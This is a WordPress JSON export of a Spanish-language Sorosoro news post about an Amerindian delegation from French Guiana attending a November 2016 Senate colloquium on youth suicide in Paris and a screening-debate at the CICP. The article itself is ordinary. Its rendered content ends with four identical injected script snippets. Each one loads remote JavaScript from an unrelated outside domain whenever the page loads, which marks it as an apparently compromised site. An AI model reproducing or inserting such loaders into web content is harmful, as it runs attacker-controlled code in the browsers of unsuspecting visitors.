{"id":70436,"date":"2016-12-01T14:08:28","date_gmt":"2016-12-01T13:08:28","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=70436\/"},"modified":"2025-10-21T21:53:51","modified_gmt":"2025-10-21T19:53:51","slug":"el-29-30-de-noviembre-de-2016-la-llegada-de-una-delegacion-oficial-de-amerindios-de-la-guayana-a-paris","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-la-llegada-de-una-delegacion-oficial-de-amerindios-de-la-guayana-a-paris\/","title":{"rendered":"El 29-30 de noviembre de 2016:  La llegada de una delegaci\u00f3n oficial de amerindios de la Guayana a Par\u00eds"},"content":{"rendered":"<p><em>Un expediente elaborado por <strong>Barbara Glowczewski<\/strong>, antrop\u00f3loga y miembro del Consejo cient\u00edfico de Sorosoro, y <strong>Rozenn Milin<\/strong>, directora de Sorosoro.<\/em><\/p>\n<p>&nbsp;<\/p>\n<h5 style=\"text-align: justify;\"><span style=\"color: #808000;\">Coloquio en el  Senado el 30 de noviembre de 2016 <\/span><\/h5>\n<p>Invitados al coloquio en el Senado en Par\u00eds, vinieron en delegaci\u00f3n de los seis pueblos: <strong>Kali&#8217;na<\/strong>, <strong>Lokorno<\/strong> (Arawaka), <strong>Paykwene<\/strong>, <strong>Teko<\/strong>, <strong>Way\u00e3pi<\/strong> y <strong>Wayana<\/strong>, las primeras naciones de la Guayana francesa.<\/p>\n<div id=\"attachment_69978\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/1-Drapeau-premi\u00e8res-nations-de-Guyane.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-69978\" class=\"wp-image-69978 size-medium\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/1-Drapeau-premi\u00e8res-nations-de-Guyane-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"https:\/\/www.sorosoro.org\/wp-content\/uploads\/1-Drapeau-premi\u00e8res-nations-de-Guyane-300x225.jpg 300w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/1-Drapeau-premi\u00e8res-nations-de-Guyane.jpg 720w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-69978\" class=\"wp-caption-text\">Bandera de las primeras naciones de la Guayana<\/p><\/div>\n<p>Este coloquio fue organizado por la senadora <strong>Aline Archimbaud<\/strong>, el 30 de noviembre y tuvo como objetivo evaluar la situaci\u00f3n  a partir  del  <a href=\"http:\/\/alinearchimbaud.fr\/wp-content\/uploads\/2015\/12\/Suicide-des-jeunes-am%C3%A9rindiens-rapport-parlementaire-2.pdf\">informe parlamentario<\/a> que hab\u00eda corredactado  en 2015 sobre el suicidio de los j\u00f3venes amerindios en la Guayana.<\/p>\n<div id=\"attachment_69979\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/2-S\u00e9nat-Christophe-Pierre-et-.-Archimbaut-.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-69979\" class=\"wp-image-69979 size-medium\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/2-S\u00e9nat-Christophe-Pierre-et-.-Archimbaut--300x196.jpg\" width=\"300\" height=\"196\" srcset=\"https:\/\/www.sorosoro.org\/wp-content\/uploads\/2-S\u00e9nat-Christophe-Pierre-et-.-Archimbaut--300x196.jpg 300w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/2-S\u00e9nat-Christophe-Pierre-et-.-Archimbaut--768x501.jpg 768w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/2-S\u00e9nat-Christophe-Pierre-et-.-Archimbaut--1024x667.jpg 1024w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/2-S\u00e9nat-Christophe-Pierre-et-.-Archimbaut-.jpg 1671w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-69979\" class=\"wp-caption-text\">Christophe Pierre y Aline Archimbaud<\/p><\/div>\n<p>Fue el ministro de Ultramar quien abri\u00f3 la manifestaci\u00f3n, con nuevas promesas. Pero una vez m\u00e1s, los representantes del Estado no parec\u00edan tener tiempo de quedarse ni siquiera algunos minutos para entender <a href=\"http:\/\/www.sorosoro.org\/2016\/12\/suicides-empoisonnement-le-coup-de-colere-des-amerindiens-de-guyane-francaise\/\">lo que la delegaci\u00f3n ten\u00eda que decirles<\/a>.<\/p>\n<p>Ni siquiera  tuvo el tiempo de mirar <a href=\"https:\/\/www.youtube.com\/watch?v=R-8fD-LuUQY\">el clip<\/a> <em><strong>Teko Makan<\/strong><\/em> (\u00bb N\u00fam. suicidio \u00ab) realizado por <strong>Christophe Pierre<\/strong>, alias Yanuwana, sobre el suicidio de los j\u00f3venes amerindios de la Guayana.  Este clip fue presentado como un pre\u00e1mbulo a los testigos y sacudi\u00f3 la sala llena del Senado: <\/p>\n<p><iframe loading=\"lazy\" title=\"TEKO MAKAN - _NO SUICIDE_- (clip officiel)\" width=\"500\" height=\"375\" src=\"https:\/\/www.youtube.com\/embed\/R-8fD-LuUQY?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe><\/p>\n<p style=\"text-align: left;\">El periodista Yves G\u00e9ry redacta aqu\u00ed <a href=\"https:\/\/www.sorosoro.org\/es\/2016\/12\/suicidios-envenenamiento-el-golpe-de-colera-de-los-amerindios-en-la-guayana-francesa\/\">un informe<\/a> de este coloquio que hab\u00eda marcado a todos los presentes, porque tanto las intervenciones eran intensas y emocionantes.<\/p>\n<p>Se retendr\u00e1 en particular las declaraciones fuertes de los tres participantes  de la mesa redonda final: los amerindios <strong>Jocelyn Th\u00e9r\u00e8se<\/strong>, Presidente del Consejo Consultivo de las Poblaciones Amerindias et Bushinenge (CCPAB) y <strong>Alexandre Sommer-Shaechtele<\/strong>, Secretario general de la Organizaci\u00f3n de las Naciones Aut\u00f3ctonas de la Guayana, as\u00ed como el etnopsiquiatra <strong>Tobie Nathan<\/strong> que concluy\u00f3 declarando: <em><strong>\u00bb no hay identidad sin territorio \u00ab. <\/strong><\/em><\/p>\n<div id=\"attachment_69980\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/3-S\u00e9nat-Jocelyn-Th\u00e9r\u00e8se.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-69980\" class=\"wp-image-69980 size-medium\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/3-S\u00e9nat-Jocelyn-Th\u00e9r\u00e8se-300x277.jpg\" width=\"300\" height=\"277\" srcset=\"https:\/\/www.sorosoro.org\/wp-content\/uploads\/3-S\u00e9nat-Jocelyn-Th\u00e9r\u00e8se-300x277.jpg 300w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/3-S\u00e9nat-Jocelyn-Th\u00e9r\u00e8se-768x710.jpg 768w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/3-S\u00e9nat-Jocelyn-Th\u00e9r\u00e8se-1024x946.jpg 1024w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/3-S\u00e9nat-Jocelyn-Th\u00e9r\u00e8se.jpg 1741w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-69980\" class=\"wp-caption-text\">Jocelyn Th\u00e8r\u00e8se, Alexandre Sommer-Shaechtele y Tobie Nathan<\/p><\/div>\n<h5 style=\"text-align: justify;\"><span style=\"color: #808000;\">Proyecci\u00f3n-debate en el Centro internacional de Cultura Popular (CICP) el 29 de noviembre de 2016<\/span><\/h5>\n<p>Por encima de la llegada de los Amerindios de la Guayana al Senado, el CSIA-Nitassinan (Comit\u00e9 de solidaridad con los indios de Am\u00e9ricas) organiz\u00f3 el 29 de noviembre una velada  titulada <a href=\"http:\/\/www.csia-nitassinan.org\/spip.php?article757\">\u00bb Amerindios de la Guayana \u2026 Teko, un pueblo en resistencia \u00ab<\/a>.<\/p>\n<p>El programa:<\/p>\n<ul>\n<li>La pel\u00edcula \u00bb Teko, etn\u00f3logos y Cie \u00ab, realizado por Julien Mathis y Colette Riehl Olivier en 2016.<\/li>\n<li>Un debate con: <strong>Lucien Panapuy<\/strong>, Teko, cantante No de suicidio, autor y compositor, <strong>Christophe Pierre<\/strong>, Kali&#8217; na, realizador, <strong>Ludovic Pierre<\/strong>, estudiante en Burdeos, <strong>Ti&#8217; wan Couchili<\/strong>, Teko, artista pl\u00e1stico tradicional, <strong>Ruth Bidiou<\/strong> del colectivo de las Primeras naciones, <strong>Alain Mindjouk<\/strong>, Presidente de la Alianza de las colectividades territoriales de la Guayana (ACAG), <strong>Aikumale Alemin<\/strong>, Wayana, el consejal de Maripasoula que se pelea para <a href=\"http:\/\/www.europe1.fr\/international\/guyane-des-eleves-dun-village-amerindien-demandent-un-college-a-francois-hollande-2769283\">el funcionamienro de un colegio<\/a> y <strong>Jean-Philippe Chambrier<\/strong>, presidente de la <a href=\"http:\/\/www.fxgpariscaraibe.com\/2016\/11\/suicide-des-jeunes-amerindiens-francais-de-guyane.html\">federaci\u00f3n de las organizaciones aut\u00f3ctonas de la Guayana<\/a>.<\/li>\n<\/ul>\n<p><strong>Edith Patrouilleau<\/strong>, fundadora y vicepresidenta del CSIA-Nitassinan, levanta aqu\u00ed <a href=\"http:\/\/www.sorosoro.org\/2016\/12\/projection-debat-au-centre-international-de-culture-populaire-cicp\/\">un informe de la tarde<\/a>.<\/p>\n<p><a href=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/5-IMG_20161129_224506_CICP_no_dapl.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-69961 aligncenter\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/5-IMG_20161129_224506_CICP_no_dapl-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https:\/\/www.sorosoro.org\/wp-content\/uploads\/5-IMG_20161129_224506_CICP_no_dapl-300x225.jpg 300w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/5-IMG_20161129_224506_CICP_no_dapl-768x576.jpg 768w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/5-IMG_20161129_224506_CICP_no_dapl-1024x768.jpg 1024w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<h5 style=\"text-align: justify;\"><span style=\"color: #808000;\">Para saber m\u00e1s sobre eso<\/span><\/h5>\n<p><a href=\"http:\/\/www.albin-michel.fr\/multimedia\/Documents\/espace_journalistes\/communiques_de_presse\/201409\/MATHIEU-GERY-GRUNER.pdf\"><em>Los abandonados de la Rep\u00fablica &#8211; Vida y muerte de los amerindios de la Guayana francesa<\/em><\/a>, por Alexandra Mathieu, Yves G\u00e9ry y Christophe Gruner, Albin-Michel, 2014<\/p>\n<p><a href=\"http:\/\/www.alter-natives-network.net\/doku.php\/les-teko-de-guyane-hommage-eric-navet-commande-livre\/accueil\"><em>Los guerreros de la Paz &#8211; Teko de la Guayana. Eric Navet, 40 a\u00f1os de etnolog\u00eda<\/em><\/a>(p. 180-181), libro y  DVD publicados en 2016 bajo la direcci\u00f3n de Colette Riehl Olivier.<br \/>\nLa transcripci\u00f3n de las palabras (voces) del clip <em>Teko makan &#8211; No suicidio<\/em> y su traducci\u00f3n al franc\u00e9s est\u00e1n en este libro de fotos y  de valiosos testimonios. <script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Un expediente elaborado por Barbara Glowczewski, antrop\u00f3loga y miembro del Consejo cient\u00edfico de Sorosoro, y Rozenn Milin, directora de Sorosoro. &nbsp; Coloquio en el Senado el 30 de noviembre de 2016 Invitados al coloquio en el Senado en Par\u00eds, vinieron en delegaci\u00f3n de los seis pueblos: Kali&#8217;na, Lokorno (Arawaka), Paykwene, Teko, Way\u00e3pi y Wayana, las [&hellip;]<\/p>\n","protected":false},"author":23,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-70436","post","type-post","status-publish","format-standard","hentry","category-noticias"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>El 29-30 de noviembre de 2016: La llegada de una delegaci\u00f3n oficial de amerindios de la Guayana a Par\u00eds - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-la-llegada-de-una-delegacion-oficial-de-amerindios-de-la-guayana-a-paris\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"El 29-30 de noviembre de 2016: La llegada de una delegaci\u00f3n oficial de amerindios de la Guayana a Par\u00eds - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Un expediente elaborado por Barbara Glowczewski, antrop\u00f3loga y miembro del Consejo cient\u00edfico de Sorosoro, y Rozenn Milin, directora de Sorosoro. &nbsp; Coloquio en el Senado el 30 de noviembre de 2016 Invitados al coloquio en el Senado en Par\u00eds, vinieron en delegaci\u00f3n de los seis pueblos: Kali&#8217;na, Lokorno (Arawaka), Paykwene, Teko, Way\u00e3pi y Wayana, las [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-la-llegada-de-una-delegacion-oficial-de-amerindios-de-la-guayana-a-paris\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2016-12-01T13:08:28+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T19:53:51+00:00\" \/>\n<meta property=\"og:image\" content=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/5-IMG_20161129_224506_CICP_no_dapl-300x225.jpg\" \/>\n<meta name=\"author\" content=\"Simon Couturier\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Simon Couturier\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-la-llegada-de-una-delegacion-oficial-de-amerindios-de-la-guayana-a-paris\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-la-llegada-de-una-delegacion-oficial-de-amerindios-de-la-guayana-a-paris\/\"},\"author\":{\"name\":\"Simon Couturier\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/c97446a63dfa10cef0caaf1e7cc312a3\"},\"headline\":\"El 29-30 de noviembre de 2016: La llegada de una delegaci\u00f3n oficial de amerindios de la Guayana a Par\u00eds\",\"datePublished\":\"2016-12-01T13:08:28+00:00\",\"dateModified\":\"2025-10-21T19:53:51+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-la-llegada-de-una-delegacion-oficial-de-amerindios-de-la-guayana-a-paris\/\"},\"wordCount\":634,\"image\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-la-llegada-de-una-delegacion-oficial-de-amerindios-de-la-guayana-a-paris\/#primaryimage\"},\"thumbnailUrl\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/5-IMG_20161129_224506_CICP_no_dapl-300x225.jpg\",\"articleSection\":[\"Noticias sobre los idiomas en peligro\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-la-llegada-de-una-delegacion-oficial-de-amerindios-de-la-guayana-a-paris\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-la-llegada-de-una-delegacion-oficial-de-amerindios-de-la-guayana-a-paris\/\",\"name\":\"El 29-30 de noviembre de 2016: La llegada de una delegaci\u00f3n oficial de amerindios de la Guayana a Par\u00eds - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-la-llegada-de-una-delegacion-oficial-de-amerindios-de-la-guayana-a-paris\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-la-llegada-de-una-delegacion-oficial-de-amerindios-de-la-guayana-a-paris\/#primaryimage\"},\"thumbnailUrl\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/5-IMG_20161129_224506_CICP_no_dapl-300x225.jpg\",\"datePublished\":\"2016-12-01T13:08:28+00:00\",\"dateModified\":\"2025-10-21T19:53:51+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/c97446a63dfa10cef0caaf1e7cc312a3\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-la-llegada-de-una-delegacion-oficial-de-amerindios-de-la-guayana-a-paris\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-la-llegada-de-una-delegacion-oficial-de-amerindios-de-la-guayana-a-paris\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-la-llegada-de-una-delegacion-oficial-de-amerindios-de-la-guayana-a-paris\/#primaryimage\",\"url\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/5-IMG_20161129_224506_CICP_no_dapl-300x225.jpg\",\"contentUrl\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/5-IMG_20161129_224506_CICP_no_dapl-300x225.jpg\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-la-llegada-de-una-delegacion-oficial-de-amerindios-de-la-guayana-a-paris\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"El 29-30 de noviembre de 2016: La llegada de una delegaci\u00f3n oficial de amerindios de la Guayana a Par\u00eds\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/c97446a63dfa10cef0caaf1e7cc312a3\",\"name\":\"Simon Couturier\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/simon-couturier\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"El 29-30 de noviembre de 2016: La llegada de una delegaci\u00f3n oficial de amerindios de la Guayana a Par\u00eds - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-la-llegada-de-una-delegacion-oficial-de-amerindios-de-la-guayana-a-paris\/","og_locale":"es_ES","og_type":"article","og_title":"El 29-30 de noviembre de 2016: La llegada de una delegaci\u00f3n oficial de amerindios de la Guayana a Par\u00eds - Sorosoro","og_description":"Un expediente elaborado por Barbara Glowczewski, antrop\u00f3loga y miembro del Consejo cient\u00edfico de Sorosoro, y Rozenn Milin, directora de Sorosoro. &nbsp; Coloquio en el Senado el 30 de noviembre de 2016 Invitados al coloquio en el Senado en Par\u00eds, vinieron en delegaci\u00f3n de los seis pueblos: Kali&#8217;na, Lokorno (Arawaka), Paykwene, Teko, Way\u00e3pi y Wayana, las [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-la-llegada-de-una-delegacion-oficial-de-amerindios-de-la-guayana-a-paris\/","og_site_name":"Sorosoro","article_published_time":"2016-12-01T13:08:28+00:00","article_modified_time":"2025-10-21T19:53:51+00:00","og_image":[{"url":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/5-IMG_20161129_224506_CICP_no_dapl-300x225.jpg","type":"","width":"","height":""}],"author":"Simon Couturier","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Simon Couturier","Tiempo de lectura":"3 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-la-llegada-de-una-delegacion-oficial-de-amerindios-de-la-guayana-a-paris\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-la-llegada-de-una-delegacion-oficial-de-amerindios-de-la-guayana-a-paris\/"},"author":{"name":"Simon Couturier","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/c97446a63dfa10cef0caaf1e7cc312a3"},"headline":"El 29-30 de noviembre de 2016: La llegada de una delegaci\u00f3n oficial de amerindios de la Guayana a Par\u00eds","datePublished":"2016-12-01T13:08:28+00:00","dateModified":"2025-10-21T19:53:51+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-la-llegada-de-una-delegacion-oficial-de-amerindios-de-la-guayana-a-paris\/"},"wordCount":634,"image":{"@id":"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-la-llegada-de-una-delegacion-oficial-de-amerindios-de-la-guayana-a-paris\/#primaryimage"},"thumbnailUrl":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/5-IMG_20161129_224506_CICP_no_dapl-300x225.jpg","articleSection":["Noticias sobre los idiomas en peligro"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-la-llegada-de-una-delegacion-oficial-de-amerindios-de-la-guayana-a-paris\/","url":"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-la-llegada-de-una-delegacion-oficial-de-amerindios-de-la-guayana-a-paris\/","name":"El 29-30 de noviembre de 2016: La llegada de una delegaci\u00f3n oficial de amerindios de la Guayana a Par\u00eds - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-la-llegada-de-una-delegacion-oficial-de-amerindios-de-la-guayana-a-paris\/#primaryimage"},"image":{"@id":"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-la-llegada-de-una-delegacion-oficial-de-amerindios-de-la-guayana-a-paris\/#primaryimage"},"thumbnailUrl":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/5-IMG_20161129_224506_CICP_no_dapl-300x225.jpg","datePublished":"2016-12-01T13:08:28+00:00","dateModified":"2025-10-21T19:53:51+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/c97446a63dfa10cef0caaf1e7cc312a3"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-la-llegada-de-una-delegacion-oficial-de-amerindios-de-la-guayana-a-paris\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-la-llegada-de-una-delegacion-oficial-de-amerindios-de-la-guayana-a-paris\/"]}]},{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-la-llegada-de-una-delegacion-oficial-de-amerindios-de-la-guayana-a-paris\/#primaryimage","url":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/5-IMG_20161129_224506_CICP_no_dapl-300x225.jpg","contentUrl":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/5-IMG_20161129_224506_CICP_no_dapl-300x225.jpg"},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2016\/12\/el-29-30-de-noviembre-de-2016-la-llegada-de-una-delegacion-oficial-de-amerindios-de-la-guayana-a-paris\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"El 29-30 de noviembre de 2016: La llegada de una delegaci\u00f3n oficial de amerindios de la Guayana a Par\u00eds"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/c97446a63dfa10cef0caaf1e7cc312a3","name":"Simon Couturier","url":"https:\/\/www.sorosoro.org\/es\/author\/simon-couturier\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/70436","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/23"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=70436"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/70436\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=70436"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=70436"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=70436"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}